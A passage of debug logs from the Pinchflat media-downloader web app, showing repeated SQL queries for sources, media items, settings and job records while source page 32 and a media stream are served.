m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 04:53:43.700 [debug] QUERY OK source="tasks" db=0.6ms queue=0.1ms idle=72.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [32, "executing", "available", "scheduled", "retryable"] 04:53:43.701 [debug] QUERY OK source="oban_jobs" db=0.3ms queue=0.1ms idle=53.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7276] 04:53:43.703 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=53.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:43.703 [debug] QUERY OK source="settings" db=0.4ms idle=4.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:43.705 [debug] QUERY OK source="settings" db=0.2ms idle=5.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:43.709 [debug] QUERY OK source="sources" db=0.5ms idle=7.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 04:53:43.711 [debug] QUERY OK source="media_items" db=1.2ms idle=8.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [32] 04:53:43.713 [debug] QUERY OK source="media_items" db=2.1ms idle=8.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [32, 10, 0] 04:53:43.715 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=10.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 04:53:43.716 [debug] QUERY OK source="media_items" db=0.4ms idle=10.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [32] 04:53:43.717 [debug] QUERY OK source="media_items" db=0.9ms idle=7.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [32, 10, 0] 04:53:43.719 [debug] QUERY OK source="sources" db=0.5ms idle=8.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 04:53:43.721 [debug] QUERY OK source="media_items" db=1.0ms idle=6.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [32] 04:53:43.724 [debug] QUERY OK source="media_items" db=2.1ms queue=0.1ms idle=6.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [32, 10, 0] 04:53:43.731 [info] Sent 200 in 34ms 04:53:43.751 [info] GET /media/4adf5ac9-b70c-4182-9100-86b50d6f5878/stream 04:53:43.752 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "4adf5ac9-b70c-4182-9100-86b50d6f5878", "v" => "1780443860"} Pipelines: [:maybe_basic_auth] 04:53:43.753 [debug] QUERY OK source="media_items" db=0.7ms idle=36.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["4adf5ac9-b70c-4182-9100-86b50d6f5878"] 04:53:43.753 [debug] Invalid range request for media item: 4adf5ac9-b70c-4182-9100-86b50d6f5878 - serving full file 04:53:43.754 [info] Sent 200 in 2ms 04:53:43.787 [info] GET /sources/32/ 04:53:43.788 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "32"} Pipelines: [:browser] 04:53:43.789 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=71.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 04:53:43.791 [debug] QUERY OK source="media_profiles" db=0.7ms queue=0.1ms idle=70.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 04:53:43.792 [debug] QUERY OK source="tasks" db=0.6ms idle=70.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [32, "executing", "available", "scheduled", "retryable"] 04:53:43.793 [debug] QUERY OK source="oban_jobs" db=0.5ms idle=68.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7276] 04:53:43.794 [debug] QUERY OK source="settings" db=0.3ms idle=40.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:43.795 [debug] QUERY OK source="settings" db=0.3ms idle=5.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:43.797 [debug] QUERY OK source="settings" db=0.3ms idle=5.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:43.798 [info] GET /sources/32/ 04:53:43.798 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "32"} Pipelines: [:browser] 04:53:43.799 [debug] QUERY OK source="sources" db=0.7ms idle=6.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 04:53:43.800 [debug] QUERY OK source="media_profiles" db=0.5ms idle=6.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 04:53:43.803 [debug] QUERY OK source="tasks" db=1.3ms idle=6.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [32, "executing", "available", "scheduled", "retryable"] 04:53:43.803 [debug] QUERY OK source="sources" db=1.3ms idle=6.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 04:53:43.804 [debug] QUERY OK source="oban_jobs" db=0.6ms idle=6.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7276] 04:53:43.805 [debug] QUERY OK source="settings" db=0.3ms idle=3.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:43.805 [debug] QUERY OK source="media_items" db=1.5ms idle=3.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [32] 04:53:43.805 [debug] QUERY OK source="settings" db=0.3ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:43.808 [debug] QUERY OK source="settings" db=0.9ms queue=0.1ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:43.808 [debug] QUERY OK source="media_items" db=2.6ms idle=3.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [32, 10, 0] 04:53:43.810 [debug] QUERY OK source="sources" db=0.6ms idle=4.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 04:53:43.811 [debug] QUERY OK source="media_items" db=0.3ms idle=5.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [32] 04:53:43.812 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=6.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [32, 10, 0] 04:53:43.813 [debug] QUERY OK source="sources" db=0.7ms idle=4.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 04:53:43.816 [debug] QUERY OK source="sources" db=1.6ms idle=3.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 04:53:43.816 [debug] QUERY OK source="media_items" db=2.4ms queue=0.1ms idle=5.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [32] 04:53:43.819 [debug] QUERY OK source="media_items" db=2.4ms queue=0.1ms idle=5.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [32] 04:53:43.820 [debug] QUERY OK source="media_items" db=2.7ms queue=0.1ms idle=4.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [32, 10, 0] 04:53:43.822 [debug] QUERY OK source="sources" db=1.7ms idle=4.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 04:53:43.823 [debug] QUERY OK source="media_items" db=3.6ms queue=0.1ms idle=6.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = 